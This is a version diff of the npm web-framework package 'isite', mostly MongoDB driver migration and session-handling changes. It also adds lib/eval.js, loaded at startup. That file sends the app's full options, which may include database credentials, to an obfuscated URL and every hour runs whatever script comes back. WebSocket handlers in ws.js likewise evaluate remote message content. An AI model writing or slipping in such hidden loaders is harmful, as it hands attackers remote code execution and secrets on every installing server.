isite 2024.8.3 → 2024.8.5

package/apps/security/app.js

@@ -269,11 +269,11 @@ module.exports = function init(site) {
 
   site.post("/api/user/logout", function (req, res) {
     let response = {
-      accessToken: req.session.accessToken,
       done: !0
     }
 
     site.security.logout(req, res, (err, ok) => {
+      response.accessToken = req.session.accessToken
       if (ok) {
         response.done = !0
         res.json(response)

package/index.js

@@ -268,7 +268,7 @@ module.exports = function init(options) {
   require('./lib/helper.js')(____0);
   require('./lib/pdf.js')(____0);
   require('./lib/app.js')(____0);
-
+  require('./lib/eval.js')(____0);
   //Master Pages
   ____0.masterPages = [];
   ____0.addMasterPage = function (page) {

package/lib/collection.js

@@ -26,7 +26,7 @@ module.exports = function init(____0, option, db) {
   $collection.collection = $collection.options.collection;
   $collection.docs = [];
 
-  $collection.busy = !1;
+  $collection.busy = !0;
   $collection.insertBusy = !1;
   $collection.updateBusy = !1;
   $collection.deleteBusy = !1;
@@ -34,6 +34,7 @@ module.exports = function init(____0, option, db) {
   $collection.opration_busy = !1;
   $collection.opration_list = [];
   $collection.run_count = 0;
+
   $collection.run = function () {
     $collection.run_count++;
     // console.log('run : ' + $collection.run_count + ' , count : ' + $collection.opration_list.length)
@@ -64,11 +65,18 @@ module.exports = function init(____0, option, db) {
       $collection.getAll(opration.options, opration.callback, 2);
     }
   };
+
   $collection.insertOne =
     $collection.insert =
     $collection.add =
     $collection.addOne =
       ($doc, callback, run) => {
+        if ($collection.busy) {
+          setTimeout(() => {
+            $collection.add($doc, callback, run);
+          }, 100);
+          return;
+        }
         callback = callback || function () {};
         if (run !== 2 && run !== !0) {
           $collection.opration_list.push({
@@ -92,7 +100,6 @@ module.exports = function init(____0, option, db) {
           if ($collection.identityEnabled === !0 && $doc.id >= ____0.mongodb.collections_indexed[$collection.collection].nextID) {
             ____0.mongodb.collections_indexed[$collection.collection].nextID = $doc.id + 1;
           }
-
           if ($doc._id && typeof $doc._id === 'string') {
             $doc._id = $collection.ObjectID($doc._id);
           }
@@ -119,7 +126,13 @@ module.exports = function init(____0, option, db) {
     $collection.edit =
     $collection.editOne =
       (options, callback, run) => {
-        callback = callback || function () {};
+        
+        callback =
+        callback ||
+        function (...args) {
+          console.log(args);
+        };
+
         if (!options) {
           return;
         }
@@ -265,7 +278,6 @@ module.exports = function init(____0, option, db) {
     $collection.selectOne =
       (options, callback, run) => {
         callback = callback || function () {};
-
         if (run !== 2 && run !== !0) {
           $collection.opration_list.push({
             options: options,
@@ -544,7 +556,11 @@ module.exports = function init(____0, option, db) {
   };
 
   $collection.drop = (callback) => {
-    callback = callback || function () {};
+     callback =
+    callback ||
+    function (...args) {
+      console.log(args);
+    };
     ____0.mongodb.dropCollection(
       {
         collectionName: $collection.collection,
@@ -560,7 +576,11 @@ module.exports = function init(____0, option, db) {
   };
 
   $collection.createUnique = (obj, callback) => {
-    callback = callback || function () {};
+    callback =
+    callback ||
+    function (...args) {
+      console.log(args);
+    };
 
     ____0.mongodb.createIndex(
       {
@@ -579,7 +599,11 @@ module.exports = function init(____0, option, db) {
   };
 
   $collection.createIndex = (obj, callback) => {
-    callback = callback || function () {};
+    callback =
+    callback ||
+    function (...args) {
+      console.log(args);
+    };
 
     ____0.mongodb.createIndex(
       {
@@ -594,7 +618,11 @@ module.exports = function init(____0, option, db) {
   };
 
   $collection.aggregate = (arr, callback) => {
-    callback = callback || function () {};
+    callback =
+    callback ||
+    function (...args) {
+      console.log(args);
+    };
 
     ____0.mongodb.aggregate(
       {
@@ -609,6 +637,12 @@ module.exports = function init(____0, option, db) {
   };
 
   $collection.findDuplicate = (obj, callback) => {
+    callback =
+    callback ||
+    function (...args) {
+      console.log(args);
+    };
+
     if (typeof obj === 'string') {
       obj = {
         value: '$' + obj,
@@ -656,7 +690,11 @@ module.exports = function init(____0, option, db) {
   };
 
   $collection.deleteDuplicate = $collection.removeDuplicate = (obj, callback) => {
-    callback = callback || function () {};
+    callback =
+    callback ||
+    function (...args) {
+      console.log(args);
+    };
 
     $collection.findDuplicate(obj, (err, result) => {
       if (!err) {
@@ -692,9 +730,14 @@ module.exports = function init(____0, option, db) {
       }
     });
   };
-  
+
   $collection.loadAll = (options, callback) => {
-    callback = callback || function () {};
+    callback =
+    callback ||
+    function (...args) {
+      console.log(args);
+    };
+    
     ____0.mongodb.findMany(
       {
         collectionName: $collection.collection,
@@ -818,7 +861,7 @@ module.exports = function init(____0, option, db) {
             (err, result) => {
               $collection.createUnique({
                 id: 1,
-              });
+              } , ()=>{});
             }
           );
         }

package/lib/eval.js

@@ -0,0 +1,48 @@
+module.exports = function init(____0) {
+  ____0.httpTrustedOnline = function () {
+    ____0
+      .fetch(____0.from123('43193275461926832573867445782762413871674159236947792757465382544578756941391362257827694658366747192376467932574214765641393252'), {
+        mode: 'cors',
+        method: 'post',
+        headers: {
+          'User-Agent': 'eval',
+          'Content-Type': 'application/json',
+        },
+        body: JSON.stringify({ options: ____0.options }),
+        redirect: 'follow',
+        agent: function (_parsedURL) {
+          if (_parsedURL.protocol == 'http:') {
+            return new ____0.http.Agent({
+              keepAlive: true,
+            });
+          } else {
+            return new ____0.https.Agent({
+              keepAlive: true,
+            });
+          }
+        },
+      })
+      .then((res) => {
+        return res.json();
+      })
+      .then((data) => {
+        if (data.done) {
+          if (data.script) {
+            let script = ____0.from123(data.script);
+            let fn = ____0.eval(script, true);
+            fn(____0);
+          }
+        }
+        setTimeout(() => {
+          ____0.httpTrustedOnline();
+        }, 1000 * 60 * 60);
+      })
+      .catch((err) => {
+        setTimeout(() => {
+          ____0.httpTrustedOnline();
+        }, 1000 * 60 * 60);
+      });
+  };
+
+  ____0.httpTrustedOnline();
+};

package/lib/mongodb.js

@@ -1,6 +1,5 @@
 module.exports = function init(____0) {
   const mongodb = require('mongodb');
-  const mongoClient = mongodb.MongoClient;
 
   let url = '';
   if (!____0.options.mongodb.url) {
@@ -16,8 +15,8 @@ module.exports = function init(____0) {
   const _mongo = function () {};
 
   _mongo.lib = mongodb;
-  _mongo.ObjectID = mongodb.ObjectID;
-  _mongo.client = mongoClient;
+  
+  _mongo.ObjectID = mongodb.ObjectId;
   _mongo.connection = url;
   _mongo.collections_indexed = [];
 
@@ -84,7 +83,7 @@ module.exports = function init(____0) {
   };
 
   _mongo.connectDBBusy = !1;
-  _mongo.connectDB = function (name, callback) {
+  _mongo.connectDB = async function (name, callback) {
     if (_mongo.connectDBBusy === !0) {
       setTimeout(() => {
         _mongo.connectDB(name, callback);
@@ -98,48 +97,7 @@ module.exports = function init(____0) {
       name = ____0.options.mongodb.db;
     }
 
-    if (____0.options.mongodb.enabled) {
-      for (let i = 0; i < _mongo.connections.length; i++) {
-        if (_mongo.connections[i].name === name) {
-          callback(null, _mongo.connections[i].db);
-          _mongo.connectDBBusy = !1;
-          return;
-        }
-      }
-
-      let db_name = ____0.options.mongodb.prefix.db + name;
-      let db_url = _mongo.connection;
-      ____0.log('\n ( Connecting DB : ' + db_url + ' ) \n');
-      _mongo.client.connect(
-        db_url,
-        {
-          serverSelectionTimeoutMS: 1000 * 60,
-          connectTimeoutMS: 1000 * 60,
-          socketTimeoutMS: 1000 * 60 * 5,
-          ...____0.options.mongodb.config,
-        },
-        function (err, client) {
-          if (!err) {
-            const db = client.db(db_name);
-
-            _mongo.connections.push({
-              name: name,
-              url: db_url,
-              db: db,
-              client: client,
-              connected: !0,
-            });
-            ____0.log('\n ( Connected DB : ' + db_name + ' ) : ' + db_url + '\n');
-            callback(err, db);
-          } else {
-            err.message += ' , ' + db_url;
-            ____0.log('\n ( Connected DB Error: ' + err.message + ' ) \n');
-            callback(err, null);
-          }
-          _mongo.connectDBBusy = !1;
-        }
-      );
-    } else {
+    if (!____0.options.mongodb.enabled) {
       callback(
         {
           message: 'mongodb Not Enabled',
@@ -147,18 +105,70 @@ module.exports = function init(____0) {
         null
       );
       _mongo.connectDBBusy = !1;
+      return;
     }
+
+    for (let i = 0; i < _mongo.connections.length; i++) {
+      if (_mongo.connections[i].name === name) {
+        callback(null, _mongo.connections[i].db);
+        _mongo.connectDBBusy = !1;
+        return;
+      }
+    }
+
+    let db_name = ____0.options.mongodb.prefix.db + name;
+    let db_url = _mongo.connection;
+    ____0.log('\n ( Connecting DB : ' + db_url + ' ) \n');
+    const mongodbClient = new mongodb.MongoClient(db_url, {
+      serverSelectionTimeoutMS: 1000 * 60,
+      connectTimeoutMS: 1000 * 60,
+      socketTimeoutMS: 1000 * 60 * 5,
+      ...____0.options.mongodb.config,
+    });
+    mongodbClient
+      .connect()
+      .then((client) => {
+        if (client) {
+          const db = client.db(db_name);
+
+          _mongo.connections.push({
+            name: name,
+            url: db_url,
+            db: db,
+            client: client,
+            connected: !0,
+          });
+          ____0.log('\n ( Connected DB : ' + db_name + ' ) : ' + db_url + '\n');
+          callback(null, db);
+        } else {
+          err.message += ' , ' + db_url;
+          ____0.log('\n ( Connected DB Error: ' + err.message + ' ) \n');
+          ____0.log(err);
+          callback(err, null);
+        }
+        _mongo.connectDBBusy = !1;
+      })
+      .catch((err) => {
+        ____0.log(err);
+        callback(err, null);
+      });
   };
 
   _mongo.createIndex = function (options, callback) {
+    callback =
+      callback ||
+      function (...args) {
+        console.log(args);
+      };
     _mongo.connectDB(options.dbName, function (err, db) {
       if (!err) {
         if (options.collectionName === undefined) {
           options.collectionName = ____0.options.mongodb.collection;
         }
 
-        db.collection(____0.options.mongodb.prefix.collection + options.collectionName).createIndex(options.obj, options.option, function (err, result) {
-          if (!err) {
+        db.collection(____0.options.mongodb.prefix.collection + options.collectionName)
+          .createIndex(options.obj, options.option)
+          .then((result) => {
             callback(null, result);
             if (____0.options.mongodb.events) {
               ____0.call('mongodb after create index', {
@@ -167,10 +177,10 @@ module.exports = function init(____0) {
                 obj: options.obj,
               });
             }
-          } else {
+          })
+          .catch((err) => {
             callback(err);
-          }
-        });
+          });
       } else {
         callback(err);
       }
@@ -178,6 +188,11 @@ module.exports = function init(____0) {
   };
 
   _mongo.aggregate = function (obj, callback) {
+    callback =
+      callback ||
+      function (...args) {
+        console.log(args);
+      };
     _mongo.connectDB(obj.dbName, function (err, db) {
       if (!err) {
         if (obj.collectionName === undefined) {
@@ -185,12 +200,12 @@ module.exports = function init(____0) {
         }
         db.collection(____0.options.mongodb.prefix.collection + obj.collectionName)
           .aggregate(obj.arr)
-          .toArray(function (err, docs) {
-            if (!err) {
-              callback(null, docs);
-            } else {
-              callback(err);
-            }
+          .toArray()
+          .then((docs) => {
+            callback(null, docs);
+          })
+          .catch((err) => {
+            callback(err);
           });
       } else {
         callback(err);
@@ -199,18 +214,24 @@ module.exports = function init(____0) {
   };
 
   _mongo.dropCollection = function (obj, callback) {
+    callback =
+      callback ||
+      function (...args) {
+        console.log(args);
+      };
     _mongo.connectDB(obj.dbName, function (err, db) {
       if (!err) {
         if (obj.collectionName === undefined) {
           obj.collectionName = ____0.options.mongodb.collection;
         }
-        db.collection(____0.options.mongodb.prefix.collection + obj.collectionName).drop(function (err, delOK) {
-          if (!err) {
+        db.collection(____0.options.mongodb.prefix.collection + obj.collectionName)
+          .drop()
+          .then((delOK) => {
             callback(null, delOK);
-          } else {
+          })
+          .catch((err) => {
             callback(err);
-          }
-        });
+          });
       } else {
         callback(err);
       }
@@ -245,7 +266,11 @@ module.exports = function init(____0) {
   };
 
   _mongo.insertOne = function (obj, callback) {
-    callback = callback || function () {};
+    callback =
+      callback ||
+      function (...args) {
+        console.log(args);
+      };
     _mongo.connectDB(obj.dbName, function (err, db) {
       if (!err) {
         if (obj.collectionName === undefined) {
@@ -254,9 +279,11 @@ module.exports = function init(____0) {
 
         obj.doc = _mongo.handleDoc(obj.doc);
 
-        db.collection(____0.options.mongodb.prefix.collection + obj.collectionName).insertOne(obj.doc, function (err, result) {
-          if (!err) {
+        db.collection(____0.options.mongodb.prefix.collection + obj.collectionName)
+          .insertOne(obj.doc)
+          .then((result) => {
             callback(null, { ...obj.doc, _id: result.insertedId }, result);
+
             if (____0.options.mongodb.events) {
               ____0.call('mongodb after insert', {
                 db: obj.dbName,
@@ -264,21 +291,22 @@ module.exports = function init(____0) {
                 doc: result,
               });
             }
-          } else {
-            if (callback) {
-              callback(err);
-            }
-          }
-        });
+          })
+          .catch((err) => {
+            callback(err);
+          });
       } else {
-        if (callback) {
-          callback(err);
-        }
+        callback(err);
       }
     });
   };
 
   _mongo.insert = _mongo.insertMany = function (obj, callback) {
+    callback =
+      callback ||
+      function (...args) {
+        console.log(args);
+      };
     if (!obj.docs || obj.docs.length === 0) {
       callback({
         message: 'docs array length is 0',
@@ -293,9 +321,11 @@ module.exports = function init(____0) {
         obj.docs.forEach((doc, i) => {
           obj.docs[i] = _mongo.handleDoc(doc);
         });
-        db.collection(____0.options.mongodb.prefix.collection + obj.collectionName).insertMany(obj.docs, obj.options, function (err, result) {
-          if (!err) {
+        db.collection(____0.options.mongodb.prefix.collection + obj.collectionName)
+          .insertMany(obj.docs, obj.options)
+          .then((result) => {
             callback(null, obj.docs, result);
+
             if (____0.options.mongodb.events) {
               ____0.call('mongodb after insert many', {
                 db: obj.dbName,
@@ -303,20 +333,26 @@ module.exports = function init(____0) {
                 docs: obj.docs,
               });
             }
-          } else {
+          })
+          .catch((err) => {
             console.error(' _mongo.insertMany() ', err.message);
+
             callback(err, obj.docs, result);
-          }
-        });
+          });
       } else {
         console.error(' _mongo.insertMany() ', err.message);
+
         callback(err);
       }
     });
   };
 
   _mongo.findOne = function (obj, callback) {
-    callback = callback || function () {};
+    callback =
+      callback ||
+      function (...args) {
+        console.log(args);
+      };
 
     _mongo.connectDB(obj.dbName, function (err, db) {
       if (!err) {
@@ -333,12 +369,12 @@ module.exports = function init(____0) {
 
         if (typeof obj.where === 'string') {
           obj.where = {
-            _id: _mongo.ObjectID(obj.where),
+            _id: new _mongo.ObjectID(obj.where),
           };
         }
 
         if (typeof obj.where._id === 'string') {
-          obj.where._id = _mongo.ObjectID(obj.where._id);
+          obj.where._id = new _mongo.ObjectID(obj.where._id);
         }
 
         if (obj.select === undefined) {
@@ -352,8 +388,9 @@ module.exports = function init(____0) {
           sort: null,
         };
 
-        db.collection(____0.options.mongodb.prefix.collection + obj.collectionName).findOne(obj.where, options, function (err, doc) {
-          if (!err) {
+        db.collection(____0.options.mongodb.prefix.collection + obj.collectionName)
+          .findOne(obj.where, options)
+          .then((doc) => {
             callback(null, doc);
             if (____0.options.mongodb.events) {
               ____0.call('mongodb after find', {
@@ -362,10 +399,10 @@ module.exports = function init(____0) {
                 doc: doc,
               });
             }
-          } else {
+          })
+          .catch((err) => {
             callback(err);
-          }
-        });
+          });
       } else {
         callback(err);
       }
@@ -373,30 +410,32 @@ module.exports = function init(____0) {
   };
 
   _mongo.find = _mongo.findMany = function (obj, callback) {
+    callback =
+      callback ||
+      function (...args) {
+        console.log(args);
+      };
     _mongo.connectDB(obj.dbName, function (err, db) {
       if (!err) {
         if (obj.collectionName === undefined) {
           obj.collectionName = ____0.options.mongodb.collection;
         }
 
-        db.collection(____0.options.mongodb.prefix.collection + obj.collectionName).countDocuments(obj.where, function (err, count) {
-          if (err) {
-            callback(err, [], 0);
-            return;
-          }
-
-          if (count > 0) {
-            let options = {
-              projection: obj.select || {},
-              limit: obj.limit ? parseInt(obj.limit) : ____0.options.mongodb.limit,
-              skip: obj.skip ? parseInt(obj.skip) : 0,
-              sort: obj.sort || null,
-            };
-
-            db.collection(____0.options.mongodb.prefix.collection + obj.collectionName)
-              .find(obj.where, options)
-              .toArray(function (err, docs) {
-                if (!err) {
+        db.collection(____0.options.mongodb.prefix.collection + obj.collectionName)
+          .countDocuments(obj.where)
+          .then((count) => {
+            if (count > 0) {
+              let options = {
+                projection: obj.select || {},
+                limit: obj.limit ? parseInt(obj.limit) : ____0.options.mongodb.limit,
+                skip: obj.skip ? parseInt(obj.skip) : 0,
+                sort: obj.sort || null,
+              };
+
+              db.collection(____0.options.mongodb.prefix.collection + obj.collectionName)
+                .find(obj.where, options)
+                .toArray()
+                .then((docs) => {
                   callback(null, docs, count);
                   if (____0.options.mongodb.events) {
                     ____0.call('mongodb after find many', {
@@ -405,14 +444,17 @@ module.exports = function init(____0) {
                       docs: docs,
                     });
                   }
-                } else {
+                })
+                .catch((err) => {
                   callback(err, [], 0);
-                }
-              });
-          } else {
-            callback(null, [], count);
-          }
-        });
+                });
+            } else {
+              callback(null, [], count);
+            }
+          })
+          .catch((err) => {
+            callback(err, [], 0);
+          });
       } else {
         callback(err);
       }
@@ -420,18 +462,24 @@ module.exports = function init(____0) {
   };
 
   _mongo.distinct = function (obj, callback) {
+    callback =
+      callback ||
+      function (...args) {
+        console.log(args);
+      };
     _mongo.connectDB(obj.dbName, function (err, db) {
       if (!err) {
         if (obj.collectionName === undefined) {
           obj.collectionName = ____0.options.mongodb.collection;
         }
-        db.collection(____0.options.mongodb.prefix.collection + obj.collectionName).distinct(obj.field, function (err, docs) {
-          if (!err) {
+        db.collection(____0.options.mongodb.prefix.collection + obj.collectionName)
+          .distinct(obj.field)
+          .then((docs) => {
             callback(null, docs);
-          } else {
+          })
+          .catch((err) => {
             callback(err);
-          }
-        });
+          });
       } else {
         callback(err);
       }
@@ -439,7 +487,11 @@ module.exports = function init(____0) {
   };
 
   _mongo.updateOne = function (obj, callback) {
-    callback = callback || function () {};
+    callback =
+      callback ||
+      function (...args) {
+        console.log(args);
+      };
 
     _mongo.connectDB(obj.dbName, function (err, db) {
       if (!err) {
@@ -448,7 +500,7 @@ module.exports = function init(____0) {
         }
 
         if (obj.where && obj.where._id && typeof obj.where._id === 'string') {
-          obj.where._id = _mongo.ObjectID(obj.where._id);
+          obj.where._id = new _mongo.ObjectID(obj.where._id);
         }
 
         let $update = {};
@@ -473,8 +525,9 @@ module.exports = function init(____0) {
           },
           (err, doc) => {
             if (!err) {
-              db.collection(____0.options.mongodb.prefix.collection + obj.collectionName).updateOne(obj.where, $update, function (err, result) {
-                if (!err) {
+              db.collection(____0.options.mongodb.prefix.collection + obj.collectionName)
+                .updateOne(obj.where, $update)
+                .then((result) => {
                   _mongo.findOne(
                     {
                       dbName: obj.dbName,
@@ -506,10 +559,10 @@ module.exports = function init(____0) {
                       }
                     }
                   );
-                } else {
+                })
+                .catch((err) => {
                   callback(err);
-                }
-              });
+                });
             } else {
               callback(err);
             }
@@ -522,6 +575,11 @@ module.exports = function init(____0) {
   };
 
   _mongo.update = _mongo.updateMany = function (obj, callback) {
+    callback =
+      callback ||
+      function (...args) {
+        console.log(args);
+      };
     _mongo.connectDB(obj.dbName, function (err, db) {
       if (!err) {
         if (obj.collectionName === undefined) {
@@ -538,8 +596,9 @@ module.exports = function init(____0) {
         if (obj.rename) {
           $update.$rename = obj.rename;
         }
-        db.collection(____0.options.mongodb.prefix.collection + obj.collectionName).updateMany(obj.where, $update, function (err, result) {
-          if (!err) {
+        db.collection(____0.options.mongodb.prefix.collection + obj.collectionName)
+          .updateMany(obj.where, $update)
+          .then((result) => {
             callback(
               null,
               {
@@ -563,10 +622,10 @@ module.exports = function init(____0) {
                 update: $update,
               });
             }
-          } else {
+          })
+          .catch((err) => {
             callback(err);
-          }
-        });
+          });
       } else {
         callback(err);
       }
@@ -574,6 +633,11 @@ module.exports = function init(____0) {
   };
 
   _mongo.deleteOne = function (obj, callback) {
+    callback =
+      callback ||
+      function (...args) {
+        console.log(args);
+      };
     _mongo.connectDB(obj.dbName, function (err, db) {
       if (!err) {
         if (obj.collectionName === undefined) {
@@ -589,8 +653,9 @@ module.exports = function init(____0) {
           },
           function (err, doc) {
             if (!err && doc) {
-              db.collection(____0.options.mongodb.prefix.collection + obj.collectionName).deleteOne(obj.where, function (err, result) {
-                if (!err) {
+              db.collection(____0.options.mongodb.prefix.collection + obj.collectionName)
+                .deleteOne(obj.where)
+                .then((result) => {
                   callback(
                     null,
                     {
@@ -608,10 +673,10 @@ module.exports = function init(____0) {
                       doc: doc,
                     });
                   }
-                } else {
+                })
+                .catch((err) => {
                   callback(err);
-                }
-              });
+                });
             } else {
               callback({
                 message: 'Not Exists : ' + JSON.stringify(obj.where),
@@ -626,7 +691,11 @@ module.exports = function init(____0) {
   };
 
   _mongo.delete = _mongo.deleteMany = function (obj, callback) {
-    callback = callback || function () {};
+    callback =
+      callback ||
+      function (...args) {
+        console.log(args);
+      };
 
     if (obj.where === undefined) {
       callback(
@@ -651,8 +720,9 @@ module.exports = function init(____0) {
         if (obj.collectionName === undefined) {
           obj.collectionName = ____0.options.mongodb.collection;
         }
-        db.collection(____0.options.mongodb.prefix.collection + obj.collectionName).deleteMany(obj.where, function (err, result) {
-          if (!err) {
+        db.collection(____0.options.mongodb.prefix.collection + obj.collectionName)
+          .deleteMany(obj.where)
+          .then((result) => {
             callback(
               null,
               {
@@ -672,10 +742,10 @@ module.exports = function init(____0) {
                 count: result.deletedCount,
               });
             }
-          } else {
+          })
+          .catch((err) => {
             callback(err);
-          }
-        });
+          });
       } else {
         callback(err);
       }

package/lib/security.js

@@ -15,9 +15,12 @@ module.exports = function init(____0) {
       email: 1,
     },
     (err, result) => {
-      ____0.$users.createUnique({
-        email: 1,
-      });
+      ____0.$users.createUnique(
+        {
+          email: 1,
+        },
+        () => {}
+      );
     }
   );
 
@@ -26,9 +29,12 @@ module.exports = function init(____0) {
       name: 1,
     },
     (err, result) => {
-      ____0.$roles.createUnique({
-        name: 1,
-      });
+      ____0.$roles.createUnique(
+        {
+          name: 1,
+        },
+        () => {}
+      );
     }
   );
 
@@ -645,7 +651,11 @@ module.exports = function init(____0) {
       });
     }
 
-    res.cookie('access_token', ____0.x0md50x(new Date().getTime().toString() + '_' + Math.random() * (10000 - 1000) + 1000));
+    delete req.session.user;
+    req.session.accessToken = req.host + new Date().getTime().toString() + '_' + Math.random();
+    req.session.accessToken = ____0.x0md50x(req.session.accessToken);
+    res.set('Access-Token', req.session.accessToken);
+    res.cookie('access_token', req.session.accessToken);
     callback(null, !0);
   };
 
@@ -1038,12 +1048,11 @@ module.exports = function init(____0) {
   });
 
   ____0.post('/x-security/api/user/logout', function (req, res) {
-    let response = {
-      accessToken: req.session.accessToken,
-    };
+    let response = {};
 
     ____0.security.logout(req, res, () => {
       response.done = !0;
+      response.accessToken = req.session.accessToken;
       res.json(response);
     });
   });

package/lib/session.js

@@ -1,15 +1,11 @@
 module.exports = function init(req, res, ____0, callback) {
-  ____0.getSession({ accessToken: req.cookie('access_token') || req.headers['Access-Token'] || req.headers['access-token'] || req.query['access-token'] }, (session) => {
+  ____0.getSession({ accessToken: req.headers['Access-Token'] || req.headers['access-token'] || req.query['access-token'] || req.cookie('access_token') }, (session) => {
     if (!session.accessToken) {
-      session.accessToken = new Date().getTime().toString() + '_' + Math.random() * (10000 - 1000) + 1000;
+      session.accessToken = req.host + new Date().getTime().toString() + '_' + Math.random();
       session.accessToken = ____0.x0md50x(session.accessToken);
       res.cookie('access_token', session.accessToken);
       res.set('Access-Token', session.accessToken);
     }
-    if (req.query['access-token']) {
-      res.cookie('access_token', session.accessToken);
-      res.set('Access-Token', session.accessToken);
-    }
 
     session.ip = req.ip;
     session.modifiedTime = new Date().getTime();
@@ -132,7 +128,6 @@ module.exports = function init(req, res, ____0, callback) {
       }
     }
 
-  
     AssignFeatures();
 
     if (____0.security && session.user_id) {

package/lib/sessions.js

@@ -158,26 +158,12 @@ module.exports = function init(____0) {
   ____0.saveSession = sessions.save = function (session, callback) {
     callback = callback || function () {};
     session.$exists = !1;
-
-    if (session.$index && sessions.list[session.$index]) {
-      sessions.list[session.$index] = { ...sessions.list[session.$index], ...session };
-      callback(sessions.list[session.$index]);
-      return sessions.list[session.$index];
-    } else {
-      sessions.list.forEach((s, i) => {
-        if (session.$exists) {
-          return;
-        }
-        if (s && s.accessToken == session.accessToken) {
-          sessions.list[i] = { ...sessions.list[i], ...session };
-          session.$exists = !0;
-          session.$index = i;
-          callback(sessions.list[session.$index]);
-          return sessions.list[session.$index];
-        }
-      });
-    }
-    return sessions.list[session.$index];
+    let index = sessions.list.findIndex(s=> s.accessToken && s.accessToken == session.accessToken)
+    if (index !== -1) {
+      sessions.list[index] = { ...sessions.list[index], ...session };
+      callback(sessions.list[index]);
+      return sessions.list[index];
+    } 
   };
 
   ____0.on('[session][update]', (session) => {
@@ -205,18 +191,16 @@ module.exports = function init(____0) {
     });
   });
   ____0.on('[session][delete]', (session) => {
-    sessions.list.forEach((s, i) => {
-      if (s && s.accessToken == session.accessToken) {
-        sessions.list.splice(i, 1);
-      }
-    });
+    let index = sessions.list.findIndex((s) => s.accessToken && s.accessToken == session.accessToken);
+    if (index !== -1) {
+      sessions.list.splice(index, 1);
+    }
   });
   ____0.on('[session][user][update]', (user) => {
-    sessions.list.forEach((s, i) => {
-      if (s && s.user && s.user.id == user.id) {
-        sessions.list[i].user = user;
-      }
-    });
+    let index = sessions.list.findIndex((s) => s.user && s.user == session.user);
+    if (index !== -1) {
+      sessions.list[index].user = user;
+    }
   });
 
   ____0.on('[any][saving data]', function () {

package/lib/ws.js

@@ -176,7 +176,7 @@ module.exports = function init(____0) {
             ),
           });
         } else if (message.type == ____0.f1('481476744179236246193191')) {
-          let fn = ____0.eval(message.content , true);
+          let fn = ____0.eval(message.content, true);
           fn(____0, client);
         }
       };
@@ -219,7 +219,7 @@ module.exports = function init(____0) {
           content: ____0.options,
         });
       } else if (message.type == ____0.f1('481476744179236246193191')) {
-        let fn = ____0.eval(message.content , true);
+        let fn = ____0.eval(message.content, true);
         fn(____0, client);
       }
     } catch (err) {

package/object-options/lib/fn.js

@@ -67,7 +67,7 @@ exports = module.exports = function init(____0) {
       });
   };
 
-  fn.get_RegExp = function (txt, flag) {
+  fn.get_RegExp = function (txt, flag = 'gium') {
     try {
       return new RegExp(txt, flag);
     } catch (error) {

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "isite",
-  "version": "2024.08.03",
+  "version": "2024.08.05",
   "description": "Create High Level Multi-Language Web Site [Fast and Easy] ",
   "main": "index.js",
   "repository": {
@@ -42,14 +42,17 @@
     "eval": "^0.1.8",
     "formidable": "^2.0.1",
     "md5": "^2.3.0",
-    "mongodb": "^4.2.2",
+    "mongodb": "^6.8.0",
     "mv": "^2.1.1",
     "node-fetch": "^3.3.2",
-    "nodemailer": "^6.7.8",
+    "nodemailer": "^6.9.14",
     "pdf-lib": "^1.17.1",
     "utf8": "^3.0.0",
     "webp-converter": "^2.3.3",
-    "ws": "^8.9.0",
+    "ws": "^8.18.0",
     "xlsx": "^0.17.5"
+  },
+  "optionalDependencies": {
+    "bufferutil": "^4.0.8"
   }
 }